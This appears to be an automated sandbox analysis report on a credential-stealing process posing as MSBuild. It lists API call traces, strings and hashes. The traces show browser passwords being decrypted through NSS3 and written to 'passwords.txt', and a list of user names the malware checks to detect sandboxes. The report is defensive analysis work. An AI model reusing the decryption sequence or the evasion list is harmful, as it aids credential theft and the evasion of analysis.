lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA93
lstrcatA.KERNEL32(00000000,-00000010,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA9B
lstrcatA.KERNEL32(00000000,004373B0,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AAA7
StrStrA.SHLWAPI(-000000FE,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AAB7
StrStrA.SHLWAPI(00000014,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AAC7
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AADA

Part of subcall function 0040A7D8: _memset.LIBCMT ref: 0040A815
Part of subcall function 0040A7D8: lstrlenA.KERNEL32(?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A830
Part of subcall function 0040A7D8: CryptStringToBinaryA.CRYPT32(?,00000000,?,00000001,?,?,00000000), ref: 0040A838
Part of subcall function 0040A7D8: PK11_GetInternalKeySlot.NSS3(?,00000000,?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A846
Part of subcall function 0040A7D8: PK11_Authenticate.NSS3(00000000,00000001,00000000,?,00000000,?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A85A
Part of subcall function 0040A7D8: PK11SDR_Decrypt.NSS3(?,?,00000000,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A89A
Part of subcall function 0040A7D8: _memmove.LIBCMT ref: 0040A8BB
Part of subcall function 0040A7D8: PK11_FreeSlot.NSS3(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A8EC

lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AAE9
lstrcatA.KERNEL32(00000000,004373B4,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AAF5
StrStrA.SHLWAPI(-000000FE,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB05
StrStrA.SHLWAPI(00000014,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB15
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB28

Part of subcall function 0040A7D8: lstrcatA.KERNEL32(00436803,00436807,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A8E5
Part of subcall function 0040A7D8: lstrcatA.KERNEL32(00436803,0043680E,?,00000000,?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A8FB

lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB37
lstrcatA.KERNEL32(00000000,004373B8,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB43
lstrcatA.KERNEL32(00000000,004373BC,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB4F
StrStrA.SHLWAPI(-000000FE,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB5F
lstrlenA.KERNEL32(00000000), ref: 0040AB7D
CloseHandle.KERNEL32(?), ref: 0040ABAC
NSS_Shutdown.NSS3(?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040ABB2

Strings

pe, xrefs: 0040A931
passwords.txt, xrefs: 0040AB89

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$File$lstrcpy$K11_lstrlen$HeapPointerSlot$AllocAuthenticateBinaryCloseCreateCryptDecryptFreeHandleInitInternalProcessReadShutdownSizeString_memmove_memset
String ID: passwords.txt$pe
API String ID: 2725232238-1761351166
Opcode ID: 724b19f77cfbadd78dc1faf4d27645deae132dfd84264f190695712cfec16b52
Instruction ID: f290e10536fc29165bd90020ec0e89fb1ec55b4f39b8cd3f3e59d108c05ab857
Opcode Fuzzy Hash: 724b19f77cfbadd78dc1faf4d27645deae132dfd84264f190695712cfec16b52
Instruction Fuzzy Hash: 4A71A331500215ABCF15EFA1ED4DD9E3BBAEF4830AF101015F901A31A1EB7A5A55CBA6

Function 6CAB4470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAB4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CAB44B2,6CB2E21C,6CB2F7F8), ref: 6CAB473E
Part of subcall function 6CAB4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CAB474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CAB44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CAB44D2
InitOnceExecuteOnce.KERNEL32(6CB2F80C,6CAAF240,?,?), ref: 6CAB451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CAB455C
LoadLibraryW.KERNEL32(?), ref: 6CAB4592
InitializeCriticalSection.KERNEL32(6CB2F770), ref: 6CAB45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CAB45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CAB45BB
InitOnceExecuteOnce.KERNEL32(6CB2F818,6CAAF240,?,?), ref: 6CAB4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CAB4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CAB4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CAB466D
VerSetConditionMask.NTDLL ref: 6CAB469F
VerSetConditionMask.NTDLL ref: 6CAB46AB
VerSetConditionMask.NTDLL ref: 6CAB46B2
VerSetConditionMask.NTDLL ref: 6CAB46B9
VerSetConditionMask.NTDLL ref: 6CAB46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CAB46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CAB46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CAB46FD

Strings

user32.dll, xrefs: 6CAB4557, 6CAB463F
kernel32.dll, xrefs: 6CAB44CD
WRusr.dll, xrefs: 6CAB44B5
NativeNtBlockSet_Write, xrefs: 6CAB46F7
l, xrefs: 6CAB4578

Memory Dump Source

Source File: 00000001.00000002.2509689755.000000006CAA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2509665607.000000006CAA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509953962.000000006CB2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509982578.000000006CB32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_MSBuild.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: cea040b6c31535b72b3bd8878176a621b28d1dc9cd85cdf63e6da20125685504
Instruction ID: 506053a0a0f9b6ff3aebbf1d5725964b6c466eb8b2e1d8ac3c0145c804579da2
Opcode Fuzzy Hash: cea040b6c31535b72b3bd8878176a621b28d1dc9cd85cdf63e6da20125685504
Instruction Fuzzy Hash: A26115B0600394AFEB109F61CC09BB9BBBCEF46309F08855CE549ABA51D77899C5CF90

Function 00424C37 Relevance: 42.1, APIs: 19, Strings: 5, Instructions: 109libraryloadermemoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL), ref: 00424C3F
__mtterm.LIBCMT ref: 00424C4B

Part of subcall function 0042490A: DecodePointer.KERNEL32(FFFFFFFF), ref: 0042491B
Part of subcall function 0042490A: TlsFree.KERNEL32(FFFFFFFF), ref: 00424935

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00424C61
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00424C6E
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00424C7B
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00424C88
TlsAlloc.KERNEL32 ref: 00424CD8
TlsSetValue.KERNEL32(00000000), ref: 00424CF3
__init_pointers.LIBCMT ref: 00424CFD
EncodePointer.KERNEL32 ref: 00424D0E
EncodePointer.KERNEL32 ref: 00424D1B
EncodePointer.KERNEL32 ref: 00424D28
EncodePointer.KERNEL32 ref: 00424D35
DecodePointer.KERNEL32(Function_00024A8E), ref: 00424D56
__calloc_crt.LIBCMT ref: 00424D6B
DecodePointer.KERNEL32(00000000), ref: 00424D85
__initptd.LIBCMT ref: 00424D90
GetCurrentThreadId.KERNEL32 ref: 00424D97

Strings

FlsFree, xrefs: 00424C7D
FlsSetValue, xrefs: 00424C70
FlsGetValue, xrefs: 00424C63
FlsAlloc, xrefs: 00424C5B
KERNEL32.DLL, xrefs: 00424C3A

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Pointer$AddressEncodeProc$Decode$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__initptd__mtterm
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 3732613303-3819984048
Opcode ID: c4b24359c7556117875d4a9d0ed065821010c0f35d81486e563c5d9150432d9a
Instruction ID: 94530a44bd353d5e48263630fbc58cc49e13d953e031ca61b59d9614a8241a7b
Opcode Fuzzy Hash: c4b24359c7556117875d4a9d0ed065821010c0f35d81486e563c5d9150432d9a
Instruction Fuzzy Hash: CC316B31E013649ACB22AF7ABC0860A3BA4EF84762B51063BE410D32B1DFB8C440DF4D

Function 6CC24C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6CC14F51,00000000), ref: 6CC24C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CC14F51,00000000), ref: 6CC24C5B
PR_smprintf.NSS3(6CCFAAF9,?,0000002F,?,?,?,00000000,00000000,?,6CC14F51,00000000), ref: 6CC24C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6CC14F51,00000000), ref: 6CC24CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC24CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC24CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC24D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CC14F51,00000000), ref: 6CC24D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CC14F51,00000000), ref: 6CC24D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6CC24D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6CC24DA2
free.MOZGLUE(?), ref: 6CC24DB9
free.MOZGLUE(00000000), ref: 6CC24DCF

Strings

slotFlags, xrefs: 6CC24D34
0x%08lx=[%s %s], xrefs: 6CC24D80
rootFlags, xrefs: 6CC24D47
any, xrefs: 6CC24C96
rust, xrefs: 6CC24D22
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6CC24D9D
every, xrefs: 6CC24CA1
ootT, xrefs: 6CC24D1A
%s,%s, xrefs: 6CC24C4B
timeout, xrefs: 6CC24C91

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 8284828262b294535405b30c30b4b71c2c433483e939f7f2c553458af6b5681b
Instruction ID: 66735f55633282cf37073d56bcd9850b27c201a5470f68ec6b9c15e9d0432c32
Opcode Fuzzy Hash: 8284828262b294535405b30c30b4b71c2c433483e939f7f2c553458af6b5681b
Instruction Fuzzy Hash: 67416BB2D001416BEB12DF19DC81ABF36A9AF82348F194124EC164BB01F739E925C7D2

Function 00401927 Relevance: 36.8, APIs: 2, Strings: 19, Instructions: 56stringCOMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?,?), ref: 00401A13
lstrcmpiA.KERNEL32(0043AC84,?), ref: 00401A2E

Strings

milozs, xrefs: 0040199B
Peter Wilson, xrefs: 004019A5
sandbox, xrefs: 004019C3
HAPUBWS, xrefs: 00401969
WDAGUtilityAccount, xrefs: 004019FF
Emily, xrefs: 0040195F
timmy, xrefs: 004019AF
user, xrefs: 004019B9
test user, xrefs: 004019E1
Miller, xrefs: 00401991
malware, xrefs: 004019CD
John Doe, xrefs: 004019F5
maltest, xrefs: 004019D7
virus, xrefs: 004019EB
IT-ADMIN, xrefs: 0040197D
CurrentUser, xrefs: 0040194B
Sand box, xrefs: 00401955
Johnson, xrefs: 00401987
Hong Lee, xrefs: 00401973

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: NameUserlstrcmpi
String ID: CurrentUser$Emily$HAPUBWS$Hong Lee$IT-ADMIN$John Doe$Johnson$Miller$Peter Wilson$Sand box$WDAGUtilityAccount$maltest$malware$milozs$sandbox$test user$timmy$user$virus
API String ID: 542268695-1784693376
Opcode ID: da99fce13d188c8d449195af6028c632b9155eeec286f17b5d3ae48a6bd12366
Instruction ID: d1bae68e67e499abaef637c9412b49fd07aa939d7eda53f7808c85b94d013073
Opcode Fuzzy Hash: da99fce13d188c8d449195af6028c632b9155eeec286f17b5d3ae48a6bd12366
Instruction Fuzzy Hash: FD2103B194126C8BCB60CF15DD486DDB7B4BB59309F00B1DAD489AA250C7B84FD9CF49

Function 0041260C Relevance: 33.5, APIs: 16, Strings: 3, Instructions: 204stringprocesssynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

_memset.LIBCMT ref: 004127B1
lstrcatA.KERNEL32(?,?,?,?,?), ref: 004127C3
lstrcatA.KERNEL32(?,00436698), ref: 004127D5
lstrcatA.KERNEL32(?,566ac7bdeaf763bbaf70aa6d5667c804), ref: 004127E7
lstrcatA.KERNEL32(?,0043669C), ref: 004127F9
lstrcatA.KERNEL32(?,?), ref: 00412809
lstrcatA.KERNEL32(?,004366A0), ref: 0041281B
lstrlenA.KERNEL32(?), ref: 00412824
lstrcatA.KERNEL32(?,EMPTY), ref: 00412840
lstrcatA.KERNEL32(?,004366AC), ref: 00412852
lstrcatA.KERNEL32(?,?), ref: 00412862
lstrcatA.KERNEL32(?,004366B0), ref: 00412874
lstrlenA.KERNEL32(?), ref: 00412881
_memset.LIBCMT ref: 004128B7

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 00410581

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00412446: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,00414A8D), ref: 00412460

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000020,00000000,00000000,?,?,004366B4,?), ref: 00412924
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00412932

Strings

.exe, xrefs: 0041264F
EMPTY, xrefs: 0041283A
566ac7bdeaf763bbaf70aa6d5667c804, xrefs: 004127DB

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$Create_memset$FileObjectProcessSingleSystemTimeWait
String ID: .exe$566ac7bdeaf763bbaf70aa6d5667c804$EMPTY
API String ID: 141474312-413612843
Opcode ID: 654f685dd82f6e0316c16e6c1270da0dd472ad586f9f38bae0cdf5a9b91f7de5
Instruction ID: 304a4236ee7f0de4f144c20be59e76cfc50544f1b2deb0a0f06e66ba437c67be
Opcode Fuzzy Hash: 654f685dd82f6e0316c16e6c1270da0dd472ad586f9f38bae0cdf5a9b91f7de5
Instruction Fuzzy Hash: E9814FB2E50129ABCF11EF61DD46ACE7379AB04309F4054BAB708B3051D679AFC98F58

Function 6CC02D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6CC02DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6CC02E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CC02E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CC02E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6CBD4F1C,?,-00000001,00000000,?), ref: 6CC02E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6CBD4F1C,?,-00000001,00000000), ref: 6CC02E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CC02EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CC02EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CC02EF8
PR_Unlock.NSS3(?), ref: 6CC02F62
TlsGetValue.KERNEL32 ref: 6CC02F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6CC02F9E
PR_Unlock.NSS3(?), ref: 6CC02FCA
TlsGetValue.KERNEL32 ref: 6CC0301A
EnterCriticalSection.KERNEL32(?), ref: 6CC0302E
PR_Unlock.NSS3(?), ref: 6CC03066
PR_SetError.NSS3(00000000,00000000), ref: 6CC03085
PR_Unlock.NSS3(?), ref: 6CC030EC
TlsGetValue.KERNEL32 ref: 6CC0310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6CC03124
PR_Unlock.NSS3(?), ref: 6CC0314C

Part of subcall function 6CBE9180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6CC1379E,?,6CBE9568,00000000,?,6CC1379E,?,00000001,?), ref: 6CBE918D
Part of subcall function 6CBE9180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6CC1379E,?,6CBE9568,00000000,?,6CC1379E,?,00000001,?), ref: 6CBE91A0

Part of subcall function 6CBB07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB4204A), ref: 6CBB07AD
Part of subcall function 6CBB07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB4204A), ref: 6CBB07CD
Part of subcall function 6CBB07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB4204A), ref: 6CBB07D6
Part of subcall function 6CBB07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB4204A), ref: 6CBB07E4
Part of subcall function 6CBB07A0: TlsSetValue.KERNEL32(00000000,?,6CB4204A), ref: 6CBB0864
Part of subcall function 6CBB07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBB0880
Part of subcall function 6CBB07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB4204A), ref: 6CBB08CB
Part of subcall function 6CBB07A0: TlsGetValue.KERNEL32(?,?,6CB4204A), ref: 6CBB08D7
Part of subcall function 6CBB07A0: TlsGetValue.KERNEL32(?,?,6CB4204A), ref: 6CBB08FB

PR_SetError.NSS3(00000000,00000000), ref: 6CC0316D

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 22a60061efa0e55f55c7840687e8fd9570ea0ddb30443cc067875c366091277d
Instruction ID: bb15f942718d78b60a827d1e8425983729d34259aff5ada90b366e3ec6e9c102
Opcode Fuzzy Hash: 22a60061efa0e55f55c7840687e8fd9570ea0ddb30443cc067875c366091277d
Instruction Fuzzy Hash: 62F1AFB1E002099FEF00DF65D884BAEBBB9BF09318F184165ED14A7711E732E985CB91

Function 6CC06CD0 Relevance: 30.3, APIs: 20, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC06910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6CC06943
Part of subcall function 6CC06910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6CC06957
Part of subcall function 6CC06910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6CC06972
Part of subcall function 6CC06910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6CC06983
Part of subcall function 6CC06910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6CC069AA
Part of subcall function 6CC06910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6CC069BE
Part of subcall function 6CC06910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6CC069D2
Part of subcall function 6CC06910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6CC069DF
Part of subcall function 6CC06910: NSSUTIL_ArgStrip.NSS3(?), ref: 6CC06A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CC06D8C
free.MOZGLUE(00000000), ref: 6CC06DC5
free.MOZGLUE(?), ref: 6CC06DD6
free.MOZGLUE(?), ref: 6CC06DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CC06E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CC06E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CC06E72
free.MOZGLUE(?), ref: 6CC06EA7
free.MOZGLUE(?), ref: 6CC06EC4
free.MOZGLUE(?), ref: 6CC06ED5
free.MOZGLUE(00000000), ref: 6CC06EE3
free.MOZGLUE(?), ref: 6CC06EF4
free.MOZGLUE(?), ref: 6CC06F08
free.MOZGLUE(00000000), ref: 6CC06F35
free.MOZGLUE(?), ref: 6CC06F44
free.MOZGLUE(?), ref: 6CC06F5B
free.MOZGLUE(00000000), ref: 6CC06F65

Part of subcall function 6CC06C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CC0781D,00000000,6CBFBE2C,?,6CC06B1D,?,?,?,?,00000000,00000000,6CC0781D), ref: 6CC06C40
